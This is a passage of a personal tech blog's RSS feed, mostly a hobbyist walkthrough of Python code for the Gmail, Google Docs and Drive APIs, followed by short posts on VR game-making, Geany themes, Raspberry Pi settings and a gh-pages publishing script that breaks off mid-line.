subject= [i['value'] for i in messageHeaders if i["name"]=="Subject"]
print(subject)[/code]
		
Apparently I could have imported the Python "email" module and made it a little easier, but as I needed nothing else I consider this all a success!

FYI: I did notice the body was base64 encoded. It had an "=" at the end of a long Alpha-numeric string, which looks like a Hexadecimal but has all 26 letters of the alphabet and few other characters.
[url]https://en.wikipedia.org/wiki/Base64[/url]

Here is the complete GMail test program

[code]from __future__ import print_function
import pickle
import os.path
import base64
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
from apiclient import errors

# If modifying these scopes, delete the file token.pickle.
SCOPES = ['https://www.googleapis.com/auth/gmail.readonly']

def printMessage(service, msg_id):
    user_id = "me";
    try:
        message = service.users().messages().get(userId=user_id, id=msg_id,
                                             format='full').execute()

        #msg_str = base64.urlsafe_b64decode(message['raw'].encode('ASCII'))  # when format was 'raw'
        #print(msg_str)
        print(base64.urlsafe_b64decode(message['payload']['body']['data'].encode('ASCII')) )
        messageHeaders = message['payload']['headers']
        subject= [i['value'] for i in messageHeaders if i["name"]=="Subject"]
        print(subject)

    except errors.HttpError as error:
        print ('An error occurred: {0}'.format(error))

def getMessages(service):
    user_id = "me"
    query = "from:example@example.com" # specific to my requirements
    try:
        response = service.users().messages().list(userId=user_id,
                                               q=query).execute()
        messages = []
        if 'messages' in response:
          messages.extend(response['messages'])

        while 'nextPageToken' in response:
          page_token = response['nextPageToken']
          response = service.users().messages().list(userId=user_id, q=query,
                                         pageToken=page_token).execute()
          messages.extend(response['messages'])

        return messages
    except errors.HttpError as error:
        print ('An error occurred: {0}'.format(error))

def main():
    """Searches for specific email.
    Lists the messages contents.
    """
    creds = None
    # The file token.pickle stores the user's access and refresh tokens, and is
    # created automatically when the authorization flow completes for the first
    # time.
    if os.path.exists('token.pickle'):
        with open('token.pickle', 'rb') as token:
            creds = pickle.load(token)
    # If there are no (valid) credentials available, let the user log in.
    if not creds or not creds.valid:
        if creds and creds.expired and creds.refresh_token:
            creds.refresh(Request())
        else:
            flow = InstalledAppFlow.from_client_secrets_file(
                'credentials.json', SCOPES)
            creds = flow.run_local_server(port=0)
        # Save the credentials for the next run
        with open('token.pickle', 'wb') as token:
            pickle.dump(creds, token)

    service = build('gmail', 'v1', credentials=creds)

    results = getMessages(service)

    print("Number of Messages found {0}".format(len(results)))
    #for message in results:
    #    print(message['id'])

    printMessage(service, results[0]['id'])

if __name__ == '__main__':
    main()[/code]

A quick note about the two other files you need to make this code work. 
"credentials.json" Is generated by the quick-start "Enable the GMail API" button
"token.pickle" is created during the OAuth process and must be deleted(to be recreated) if you change the SCOPES. Which was required in the Google Docs test program.

So then the Google Docs code should be just as easy?

Started off well with another quick-start
[url]https://developers.google.com/docs/api/quickstart/python[/url]

[code]wget https://raw.githubusercontent.com/gsuitedevs/python-samples/master/docs/quickstart/quickstart.py[/code]

This gets the title information of an example document. Which worked, but left a lot of questions, where is this document? what is the security on it? does this mean anyone can access any document with just the id? and how can I read MY documents title?

Ignoring all that for another day, I needed a new Document to store my report in. This bit was easy.

[code]title = 'My Document'
body = {
	'title': title
}
doc = service.documents().create(body=body).execute()
print('Created document with title: {0}'.format(doc.get('title')))
DOCUMENT_ID = doc.get('documentId')

# Retrieve the documents contents from the Docs service.
document = service.documents().get(documentId=DOCUMENT_ID).execute()

print('The title of the document is: {}'.format(document.get('title')))[/code]

The code then replicates getting the title information to make sure it really is MY new Document.

So now all I need to do is insert the email message content. Except these are not files, but "live" documents. By which I mean each change is seen as an atomic instruction.

This make sense when a Document is being edited by different people at the same time, but not for this use-case.

The example of inserting text [url]https://developers.google.com/docs/api/how-tos/move-text[/url] uses indexes of 25, 50, 75 which catches out a lot of people.

The index is the location in the document and as with other Docs API calls, it is referenced as 0 based. So that must mean to insert into a blank document you want and index of 0?

No, its 1. Lost a lot of time messing about with this. Although no one mentions it, I think the 0 is the root Body of the Document.

[code]text1 = "the"
text2 = " quick"
text3 = " red"
requests = [
     {
        'insertText': {
            'location': {
                'index':  1,
            },
            'text': text1
        }
    },
             {
        'insertText': {
            'location': {
                'index':  1,
            },
            'text': text2
        }
    },
             {
        'insertText': {
            'location': {
                'index':  1,
            },
            'text': text3
        }
    },
]
result = service.documents().batchUpdate(documentId=DOCUMENT_ID, body={'requests': requests}).execute()[/code]

And that did not error and the three words were added to the Document. Only they came out in the wrong order.
" red quickthe"

What I needed to do was handle each "insertText" and as a separate edit in time. The correct instructions were 

[code]text1 = "the"
text2 = " quick"
text3 = " red"
requests = [
     {
        'insertText': {
            'location': {
                'index':  1,
            },
            'text': text1
        }
    },
             {
        'insertText': {
            'location': {
                'index':  1+ len(text1),
            },
            'text': text2
        }
    },
             {
        'insertText': {
            'location': {
                'index':  1+ len(text1) + len(text2),
            },
            'text': text3
        }
    },
]
result = service.documents().batchUpdate(documentId=DOCUMENT_ID, body={'requests': requests}).execute()[/code]
		
Which gave the expected

"the quick red"

Now swap the text for the email message. Error: expecting string. ... Erma, what?

Turns out the base64 code from earlier creates a binary stream not the expected string of "ASCII" text.
So after a bit of Googling I changed it to 
[code]msg_str = base64.urlsafe_b64decode(message['payload']['body']['data'].encode('UTF-8'))[/code]

but that did not help.
What I needed was "decode", thus

[code]requests = [
         {
            'insertText': {
                'location': {
                    'index':  1,
                },
                'text': contents.decode()
            }
        }][/code]

At this point all the text in the resulting report Document was all over the place. It was time to switch to Landscape and remove the margins.

Except there is no option in the API to switch to Landscape, but some bright spark realised you Can change the Document Width and Height 
[url]https://stackoverflow.com/questions/60324151/how-can-i-create-a-document-with-horizontal-page-orientation-using-google-doc-ap/60325013[/url]
and although their specific example code caused chaos, it did lead me to the right results.

This is the correct sizing for a UK A4 Document.

[code]requests = [
...
        {
		    'updateDocumentStyle': {
				"documentStyle":{
					'pageSize':{
						"width": {
							'magnitude': 842,
							'unit': 'PT'
						},
						"height": {
							'magnitude': 595,
							'unit': 'PT'
						}
					}
				},
				"fields": 'pageSize'}
		}][/code]

Unit can only be "PT" even though the Docs GUI uses "cm" and "inches". Strangely, when the Document was opened and the Settings viewed, Orientation is set to Landscape. It must specifically check for know sizes in various orientations.
Not sure about the "fields" requirement, I already specified what I am updating!

Removing the Margins was a piece of cake

[code]requests = [
...
        {
		    'updateDocumentStyle': {
				"documentStyle":{
					'pageSize':{
						"width": {
							'magnitude': 842,
							'unit': 'PT'
						},
						"height": {
							'magnitude': 595,
							'unit': 'PT'
						}
					},
					'marginTop': {
							'magnitude': 0,
							'unit': 'PT'
						},
					'marginBottom': {
							'magnitude': 0,
							'unit': 'PT'
						},
					'marginLeft': {
							'magnitude': 0,
							'unit': 'PT'
						},
					'marginRight': {
							'magnitude': 0,
							'unit': 'PT'
						}
					},
					"fields": 'pageSize, marginTop, marginBottom, marginLeft, marginRight'
				}
		}][/code]

From the name I knew "fields" could contain multiple entries, but could find no examples. The documentation is incredibly complicated, I just wanted to know if it was comma separated!
[url]https://developers.google.com/protocol-buffers/docs/reference/google.protobuf#google.protobuf.FieldMask[/url]
In the end I just guessed and it worked ;)

Now for the font. Browse API docs ... nothing called font, there is one for font size ... eventually find the reference to change the font is ...
"weightedFontFamily"
because ... of course.

I the meantime I tried changing all the text to Bold and there was a handy example from stackoverflow to copy and paste
[url]https://stackoverflow.com/questions/57910316/how-to-bold-text-in-a-google-doc-using-the-google-docs-api[/url]

[code]requests = [
...
    {
        'updateTextStyle': {
            'range': {
                'startIndex': 1,
                'endIndex': 5
            },
            'textStyle': {
                'bold': True,
            },
            'fields': 'bold'
        }
    },
  ][/code]

And it worked! the first five characters were bolded.

Except when I tried using my message text I got an error about the index being to large
[output]Invalid requests[0].updateTextStyle: Index 1399 must be less than the end index of the referenced segment, 1313."[/output]

Which was odd because I was using the length of the text I had inserted(which was 1399), so it had to be right!?

After a bit of to-ing and fro-ing, trying with and without ".decode()" and some other random character encoding props I remembered two things.
1: When dumping the email message body directly to the terminal I had seen lots of "\r\n" instances
2: The report ends with a record count and that count was 82

1399 - 82 = 1317

which is surprisingly close to 1313 ...
MySql creates the report with 4 extra lines
e.g.
[output]+-----------+-------------------+--
| firstname | lastname          | C
+-----------+-------------------+--
| Rey       | Palpatine         | 
| Fin       | Skywalker         |
+-----------+-------------------+--[/output]

So a quick

[code]WINDOWS_LINE_ENDING = b'\r\n'
UNIX_LINE_ENDING = b'\n'

report_contents = message_contents.replace(WINDOWS_LINE_ENDING, UNIX_LINE_ENDING)[/code]

Got rid of 82+4 characters and 
[code]'endIndex': len( contents.decode() )[/code]

now worked.

Here is the request just for setting the font name to "Courier New" and size to 8pt

[code]requests = [
...
	{
		'updateTextStyle': {
            'range': {
                'startIndex': 1,
                'endIndex': len( contents.decode() )
            },
            'textStyle': {
                'weightedFontFamily': { 'fontFamily' : 'Courier New'},
                'fontSize': {
                        'magnitude': 8,
                        'unit': 'PT'
                    }
            },
            'fields': 'fontSize, weightedFontFamily'
        }
	}][/code]

So that's the end?

Not quite. We need to take this new(and perfectly formatted) Document and move it to the specific location on a Google Shared drive.

Check Google Drive documentation ... no "move" option. You "have" to copy and then delete the original, or a similar process.
[url]https://developers.google.com/drive/api/v3/reference[/url]

Had a lot of problems with this part of the task as the documentation states the flag to include Shared Drives is being deprecated. Currently it defaults to False but when deprecated in a few weeks time it will default to True.

Forcing the flag allowed me to perform the actions on the Shared Drive.

As Google Doc files can have exactly the same name, I added a check and refusal to run if the current report already exists. During debugging that would not be an issue as I would manually delete the file. Only, the code reported the file existed even though I had deleted the file!

Except in Google land, I had not. I had simple flagged the file as "deleted", I needed to go and empty the Trash. In the end and with so many failed tests, I got in the habit of renaming the bad report "DELETE ME -".

[code]result = service.files().copy(fileId=fileId, supportsAllDrives=True, body={'name': title, "parents": [folder] }).execute()
result = service.files().delete(fileId=fileId).execute()[/code]

Where "folder" is the folder on the Shared Drive I wanted the report to sit.

And finally we need to Archive the GMail message.

You cannot add a label "ARCHIVE" to a message and there are no methods to move to archive ...
The fix is to remove all labels, cos that's obvious?

[url]https://developers.google.com/gmail/api/guides/filter_settings#actions[/url]

Easy

[output]json returned "Insufficient Permission"[/output]
Oops still set on read only SCOPES

(delete token.pickle)
add scope 
[url]https://www.googleapis.com/auth/gmail.labels[/url]
because we want to change labels, right?
wrong
[output]json returned "Insufficient Permission"[/output]

That scope changes labels in the global context. We need message modification scope

[url]https://www.googleapis.com/auth/gmail.modify[/url]

[code]def archiveMessage(service, msg_id):
    user_id = "me";
    msg_labels = { 'removeLabelIds' : ['INBOX']}
    service.users().messages().modify(userId=user_id, id=msg_id, body=msg_labels).execute()[/code]

And .... its gone! (in a good way)

Out of my GMail inbox and in to the Mailbox limbo land that all archived messages go to. I can still find it in a search.
</description>
</item>
<item>
<title>emergency pi knobbles regular pc</title>
<pubDate>Sun, 07 Jun 2020 13:32:49 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2020.html#p070620201332</link>
<description>
Just did an emergency shutdown of my computer. Fan noise had been getting worse for a few days, but today it sounded like it was about to go POP. But after the power switched off the fan noise persisted. It wasn't this machine, but my Pi 4 that has a mini case fan.

The Pi 4 does do much at the moment so removing the lid and fan assembly should keep it cool enough just with basic heat sinks!
</description>
</item>
<item>
<title>dunking vr after alyx and mini-me creates own world</title>
<pubDate>Sun, 31 May 2020 22:34:45 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2020.html#p310520202234</link>
<description>
And [url title="Bonk It!"]/flog/May2020.html#p300520202053[/url] is why you should never give me access to a VR system, that does not have be dismantled constantly over a three day weekend.

I continue to be enamoured with Half Life: Alyx. Time disappears without trace when I am in that world, but ...

although the experiences in Alyx are constantly evolving and increasing in difficulty, I do wonder if this is it.

I went on the Steam VR games list and apart from [url title="Super Hot"]/flog/Aug2019.html#p280820191541[/url], there seemed to only be short "experiences", Escape-the-room puzzlers and First person shooters, some without zombies, most with.
(I am not interested in the rhythm games)

and then my son asked if he could make a VR game.

With a little help, he created a fully playable Basketball game. With scoring, ball return and custom textures on the ball and the backboard. There was also a quickly Blendered basket with hoop and net.

Now the VR has to sleep again...
</description>
</item>
<item>
<title>BonkIt vr game written in unreal engine released to the world</title>
<pubDate>Sat, 30 May 2020 20:53:21 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2020.html#p300520202053</link>
<description>
Bonk It! a VR game created in Unreal Engine

Gameplay video
<iframe width="560" height="315" src="https://www.youtube.com/embed/GinfM1vjZYA" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

In depth video looking at the Blueprints used.
<iframe width="560" height="315" src="https://www.youtube.com/embed/3Typea9DbCI" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

Github Repo of the entire project
[url]https://github.com/robgithub/BonkIt[/url]

It is worth pointing out, this is my first attempt at creating a game in Unreal Engine and I might not have followed best practices. But hey, it works and is surprisingly fun.
</description>
</item>
<item>
<title>Seeing straight through Unreal Engines opaque smooth face from Blender</title>
<pubDate>Thu, 28 May 2020 22:34:43 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2020.html#p280520202234</link>
<description>
Another quick couple of Unreal Engine notes. This time around Blender.

When exporting as .FBX go into the [em]Geometries[/em] tab and set [em]Smoothing[/em] to [em]Face[/em]. This stops an error on import if you have any smoothed faces.

The other one, is when you want a Transparent material in Unreal to match what you had in Blender. In the UE Material editor set the [em]Blend Mode[/em] to [em]Translucent[/em]. This adds a new Input "Opacity".
</description>
</item>
<item>
<title>Lose my grip on Unreal Engines blueprint for hands</title>
<pubDate>Thu, 28 May 2020 22:22:34 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2020.html#p280520202222</link>
<description>
One of the things in my old Unity VR project was [em]Grabbing[/em]. Detecting the trigger on the controller being pulled when connected to an object.

It seemed so easy. I could already get the BP_MotionController object when it interacted with an object. Surely all I needed to do is test if the Trigger state was "pulled"?

NO!

There is no Trigger state. You have to code your own.

Edit the MotionControllerPawn(prawn) Blueprint. This is the "player" in the game environment and includes the camera and auto generates the Motion Controllers.

Now the actual code(Blueprint Nodes) is not very complex, but ...

Unreal kept having "issues" while I was editing this and the controllers would stop being able to "grip". As everything else functioned correctly I assumed I had messed up the Blueprint. The hand closing animation was not even working.

I tried a few "Save All"'s and Rebuilds and it actually seemed to get worse!

At my wits end, I restarted Unreal Engine and it just started working again. Then it failed about 30 minutes later, but this time I "Save All" and Rebuild did fix it. Then it failed a while later and only a restart would fix it. Then it worked consistently.

Did I get to create my VR game in the end? Actually yes and more on that in future posts.
</description>
</item>
<item>
<title>Unreal Escape from the Epic Engine IDE blueprint</title>
<pubDate>Thu, 28 May 2020 22:09:01 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2020.html#p280520202209</link>
<description>
There are many options in Unreal Engine IDE, including one that creates a separate process for a standalone version of your VR game. Sounds good?

There is no way of exiting ... Had to Alt-Tab out and then kill it.

The solution is to edit the Level Blueprint. From the Blueprints menu.

You add a Node and search for keyboard and then scroll to Escape. Connect this node to Quit node.

Now Escape in the game quits it.

Oh! and what ever you do, do not click [em]Launch[/em]. I started another mass Shader Compile, with no feedback and I only saw the processes in Task Manager. This time there were 7000+ Shaders to compile.

And don't use the default map in the VR starter template, doesn't really work. Instead go into the VirtualReality/Maps/ and open the MotionControllerMap. It has teleporting, grabbing and basic design.
</description>
</item>
<item>
<title>unreal engine for the vr pizza fail</title>
<pubDate>Sun, 24 May 2020 12:31:33 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2020.html#p240520201231</link>
<description>
In my random and chaotic world, I thought it would be fun to try and create quick VR game in Unreal Engine. Never tried Unreal before, but had been recommended to give it a try and the recent news that it was now more creator friendly made it a no brainer.

Download the Unreal Engine: NOPE you cannot download Unreal Engine. You have to install Epic Games Launcher, which you get from an installer from [url]https://www.unrealengine.com/en-US/get-now[/url] and, of course you have to sign up for an account.

So you download and run the mini installer and that installs the "Launcher" and from there you can install Unreal Engine. But there was a small problem, it kept failing. Weird cryptic error codes.

It took so long to install I walked away. What I did not see was the Windows UAC asking for permission and the timing out after a short while. UAC normally sticks around until you action it, but Epic have out done themselves and created an auto fail system. I guess in most cases it would auto succeed and no one thought to check it on a UAC system.

Finally got past that, numerous times, because it never happened at the beginning of the install. Then a reboot was required... erm hello? it is 2020 we do NOT need reboots for random user software!

Then I had to allow three different firewall changes... Yes really, not looking good. Then the actual install of Unreal Engine could start and that took hours.

OK, OK, so it is installed and I can make basic VR world to test the setup?

Starts well by directly offering a VR world Game type as a new project base and then ....

Oh dear! The initialisation process seems to have stalled at 39%. Wait half an hour, no change, so kill it and try again, same issue. Googling around and ... lots of people have this issue and the fix is to ...

WAIT 

and
 wait and wait
 
another hour passes and Unreal Engine IDE appears !! and then the shaders start compiling. Over 3500+ of them and they take another 20 minutes.

Now I am in Unreal Engine IDE. I look around, take the tour and everything seems hunky dory. Click to start VR mode and ... you must restart Unreal...

Its back and everything has loaded and I notice Steam VR has automatically started. 

With great trepidation I start VR and put on the headset and I am in VR and ...

Oh, wait. The head set is way above the play area and I cannot teleport. But the thumb disk on the left controller brings up a multitude of options. And, although I can cycle through them, none of them work!

Time for bed.

Find a short YouTube video [url]https://www.youtube.com/watch?v=Qnf-G6iu-iM[/url] that explains that it is a "pallet" and you have to use the other controller to select the options. Doh!

In other random news; I ate a very nice Pistachio pizza last night :D
</description>
</item>
<item>
<title>the worst working nodejs slide show project ever</title>
<pubDate>Sat, 23 May 2020 22:35:00 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2020.html#p230520202235</link>
<description>
A little while ago I made a Raspberry Pi 4 into a Wi-Fi access point, with no access. As the whole point was not to give Wi-Fi clients internet access, but to see if I could host something only Wi-Fi clients could see.

The guide from Raspberry Pi is specific to the new Pi 4, but that's great because all the internet guides for Pi 3's fail.
https://www.raspberrypi.org/documentation/configuration/wireless/access-point-routed.md
(I just missed out the routing section)

And then I wrote the worst NodeJS server ever ! that works :D

It is a simple slide show web page and server. The idea is you can connect any USB drive and it will compile a list of images and show them in the browser.

Why is it the "worst" NodeJS server? Well I used the Express module and then wrote my own view engine. I the most simplistic way, rather than using Jade etc.

Thing is, I didn't need anything more complicated.

As a server it has to serve to the browser
Login page
Slide show page
JavaScript file
Images

and that's it. And the view engine boils down to loading the file into "template" and setting key/value pairs into "model"

<code>function renderTemplate(model, template) {
    let reg = "";
    for (let [key, value] of Object.entries(model)) {
        reg = new RegExp('{-{' + key + '}-}','m');
        template = template.replace(reg, value);
    }
    return template;
}</code>

Worked perfectly for my simplistic needs.

There also a placeholder security login system that if you have the [url title="source code"]https://github.com/robgithub/PPH[/url] can be deciphered very quickly.

Oh, and it looks awful, bold colours and inconsistent design. But, you know, it works.

<img src="images/pph_nodejs_scrn.jpg" alt="Pi Presentation Hub screenshot">

The client logs in and requests the catalogue of images be loaded. Then once the GUI is closed the JavaScript requests the image by number and delays before requesting the next in sequence.

It has some sophisticated screen resolution and scaling abilities, not to mention a Full screen mode. You can also manually step forwards and backwards through the slide show, enter and image index or request a random index.

It works, it is useless and I will probably promptly abandon it. Still, it was fun to make.

[url title="GitHub repo"]https://github.com/robgithub/PPH[/url]
</description>
</item>
<item>
<title>setup for three days of alyx headcrabs</title>
<pubDate>Sat, 23 May 2020 20:54:26 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2020.html#p230520202054</link>
<description>
It is the bank holiday weekend, so the VR setup is staying set-up for three days!

Half Life: Alyx is still amazing, I mean it amazes me every time I play it and the Alienware 15 R2 from 2016 has everything on the lowest quality.

The Alienware 15 R2 laptop's specs are 
Intel i7 6700HQ CPU 2.6GHZ (four cores) 16GB 
NVIDIA GeForce GTX 970m

I cannot imagine it with more detail, except resolution. The settings state the textures are on Low and the flickering lights and cloth mechanics are off. There is also a Low settings for Rag doll physics. But in the game I can put objects next to my face and read tiny text and other details and pickup dead enemies and their bodies rag doll as expected. Not sure I would want flickering lights and I have not seen and scenes that have materials I would expect to act as cloth.

The game play is so varied. You can sneak around and even use objects as shields. From one of the many pieces of trash littering the levels to headcrab shells and even doors. The door mechanics are so well defined that I could look through the window in the door and put my gun through the gap and shoot, while my other hand controlled the door.

There is one odd bad problem with Alyx. Every now and then the frame rate will drop to 4-5. Now the obvious answer is my rig is not powerful enough, but there are plenty of people with super high end gaming rigs worth thousands who have the same issue. No one is sure what causes it or what fixes it. The most guarantied fix it so save your game, exit to the main menu and reload it. But this shows the machine IS capable of running that part of the game. I have my theories, but today I only had it happen once in hours of game play, yet the other day it felt like it was every 20 minutes.
The fix used to day was to leave the game running and open the Settings in Steam VR, turn of Smooth Motion, close settings and return to the game. After it fixed it I then turned it back on with no ill effects.
</description>
</item>
<item>
<title>is there nothing better than half life alyx</title>
<pubDate>Sat, 23 May 2020 20:29:42 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2020.html#p230520202029</link>
<description>
I have been playing Half Life: Alyx ...

...

AND IT IS FRIGGIN AMAZING!!

Best VR experience to date in every aspect. 

Graphics, immersion, fun, scope and diversity in gameplay.

This really is VR turning a corner.

What's more amazing is it runs fine on the 2016 laptop we got when we bought the HTC Vive.

One thing to note is the horror aspect of this game. Yes, it has great puzzles, combat and exploration, but there are some nasty bits and a lot of blood and gore.

Not suitable for kids.

Still a major pain to get hardware setup in a tiny room at night and then taken down again each day, just so the room can be used for home schooling.

Lots of the original reviews of the HTC Vive mention the screen door affect, where you can see the pixels. I notice it a lot with the Zombie gallery, where the cardboard cut-out zombies are mostly solid cartoon colours.
In HL:Alyx I see none of that and become completely immersed in the range of dark, light, open or closed environments.

There are lots of interact-able set pieces, from matchboxes that if shaken rattle, to severed heads missing skin, from 3.5in floppy disks, to alien worms, that get crushed to give you health.

I was wary of the price &pound;46.99, but it is worth this and so much more.
</description>
</item>
<item>
<title>genius genie javascript grabs geany themes</title>
<pubDate>Mon, 04 May 2020 23:29:51 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2020.html#p040520202329</link>
<description>
I decide to try [url title="Geany"]https://www.geany.org/[/url] as my IDE, after finding gVim not quite up to the task. It has great syntax highlighting for HTML, CSS and Javascript. Plus lots of IDE-y things like collapsing brackets and symbols list.

Problem was, I was trying it at night and the white background was burning my eyeballs. Not to worry everything comes with a Dark theme now ... Except [url title="Geany"]https://www.geany.org/[/url], but it does support [url title="Themes"]https://www.geany.org/download/themes/[/url]!

There are 34 [url title="Themes"]https://www.geany.org/download/themes/[/url] and over half of them are "Dark"...

Open Javascript console and run
<code>Array.from(document.links).filter(x =&gt; x.href.endsWith("conf")).map(y => "wget "+y.href)</code>
(*breakdown at the end)
to get 
<code class="output">[
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/bespin.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/black.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/darcula.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/dark.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/dark-colors.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/dark-fruit-salad.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/delt-dark.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/epsilon.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/fluffy.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/gedit.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/github.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/himbeere.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/inkpot.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/kugel.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/metallic-bottle.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/monokai.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/notepad-plus-plus.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/oblivion2.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/pygments.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/railcasts2.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/mc.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/retro.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/sleepy-pastel.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/slushpoppies.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/solarized-dark.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/solarized-light.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/spyder-dark.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/steampunk.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/tango-dark.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/tango-light.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/tinge.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/ubuntu.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/vibrant-ink.conf
  wget https://raw.github.com/geany/geany-themes/master/colorschemes/zenburn.conf
]</code>
(I removed the quotes and commas)

These [url title="Theme"]https://www.geany.org/download/themes/[/url] files go in a folder [em]colorschemes[/em]. Which on my machine was
<code class="output">~/.config/geany/colorschemes</code>

Change into this folder and then copy &amp; paste all the [em]wget[/em] commands to download all the [url title="Themes"]https://www.geany.org/download/themes/[/url]

They are now available in the [url title="Geany"]https://www.geany.org/[/url] [em]View[/em] menu.

*What was all that crazy Javascript?
[em]Array.from(document.links)[/em] gets all the page links and converts them in to a standard Javascript Array. There were exactly 100 on that [url title="page"]https://www.geany.org/download/themes/[/url].
[em].filter(x =&gt; x.href.endsWith("conf"))[/em] then only returns results where the href ends with "conf".
Finally [em].map(y => "wget "+y.href)[/em] creates a string "wget" + the link value.
</description>
</item>
<item>
<title>keeping a pi from blanking its X</title>
<pubDate>Thu, 30 Apr 2020 23:22:55 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2020.html#p300420202322</link>
<description>
Somewhere along the line I go t Raspberry Pi 4 and the first thing I noticed was the annoying screen blanking. Which, apparently is not a screen saver but power management.

Now it 8+ years since the Pi's release and a lot of people have looked to resolve the issue of the screen blanking when they do not want it to. So I was very surprised to find all the normal places devoid of consistent "Thanks! that works", but instead found a lot of "Did not work for me".

The [url title="official fix"]https://www.raspberrypi.org/documentation/configuration/screensaver.md[/url] is to install xscreensaver, which normally I am in favour of, but installing 40MB to disable a screen blanking? There HAD to be a better way.

On the official Raspberry Pi [url title="forum"]https://www.raspberrypi.org/forums/[/url] was an [url title="old discussion"]https://www.raspberrypi.org/forums/viewtopic.php?f=66&&amp;t=18200&hilit=blanking+xscreensaver&amp;start=25#p1341691[/url] that included, in passing, some [url title="github issues"]https://github.com/RPi-Distro/raspi-config/issues/38[/url]. But that issue was closed...

I tracked the user who closed it down to a [url title="cloned repo for raspi-config"]https://github.com/XECDesign/raspi-config[/url] and there was the magic answer.

This [url title="fix"]https://github.com/RPi-Distro/raspi-config/blob/master/usr/share/raspi-config/10-blanking.conf[/url] has made it into the main Branch, but I do not think it is enabled, at least in the GUI version.

<code>mkdir -p /etc/X11/xorg.conf.d/
cp /usr/share/raspi-config/10-blanking.conf /etc/X11/xorg.conf.d/</code>

Where the contents of [em]/usr/share/raspi-config/10-blanking.conf[/em] is

<code>Section "Extensions"
    Option      "DPMS" "Disable"
EndSection

Section "ServerLayout"
    Identifier "ServerLayout0"
    Option "StandbyTime" "0"
    Option "SuspendTime" "0"
    Option "OffTime"     "0"
    Option "BlankTime"   "0"
EndSection</code>

You do need to reboot, but it does work!
</description>
</item>
<item>
<title>git pages script bit lack of master commits</title>
<pubDate>Mon, 27 Apr 2020 21:53:08 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2020.html#p270420202153</link>
<description>
Enjoying the progress of my little [url title="bitey project"]/flog/tags.html?tag=anagramsharkattackjse[/url] I wanted to get the code out to my production server for users to experience.

When I say "Production Server", I mean the secret [url title="github pages(gh-pages)"]https://pages.github.com/[/url] that comes with every project. I did a [url title="flog post about setting them up"]/flog/Jul2019.html#p140720191805[/url], but basically they are just a git branch off master.

So I automated the process of
<ol>
<li>make a temporary folder</li>
<li>copy requested files from the current master branch into it</li>
<li>switch to the gh-branch</li>
<li>copy those files from the temp folder to the project folder(now the gh-pages branch)</li>
<li>add/commit them to the gh-pages branch</li>
<li>push them to the github server</li>
<li>switch back to master branch</li>
<li>profit!</li>
</ol>

and in the first basic test it worked perfectly. So what went wrong?

In my hurry to publish a cool update I omitted adding the change to a commit in the master branch. So when the I switched to gh-pages branch with
<code>git checkout gh-pages</code>
It got all the gh-pages commits e.g. a lot older and overwrote them. Then the script copied all the new code over to gh-pages. All good so far, except for master. 

Then disaster struck, I entered my github login incorrectly, but the script happily got all the (old) commits on master and switched to that branch. But I did not notice, I was just annoyed I got the login wrong. So I ran it again ...
Which happily copied all the files from master (old) and then tried to publish them to gh-pages.

Luckily I was able to recover from the [em]View Source[/em] in the browser.

The publish_gh-pages.sh script has a little more protection and now looks like this. Use at your own peril.
<code>#!/bin/bash
#
# take files from master and add them to gh-pages branch and then publish
# returns you to master
#
TARGET=$1
if [ -z "$TARGET" ]; then
  echo "Please supply files, cannot continue, exiting"
  echo "USAGE: $0 &lt;files separated by space&gt;"
  exit 1
fi
git diff-index --quiet HEAD --
if git diff-index --quiet HEAD --; then
    echo No outstanding changes
else
    # Changes
    echo "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
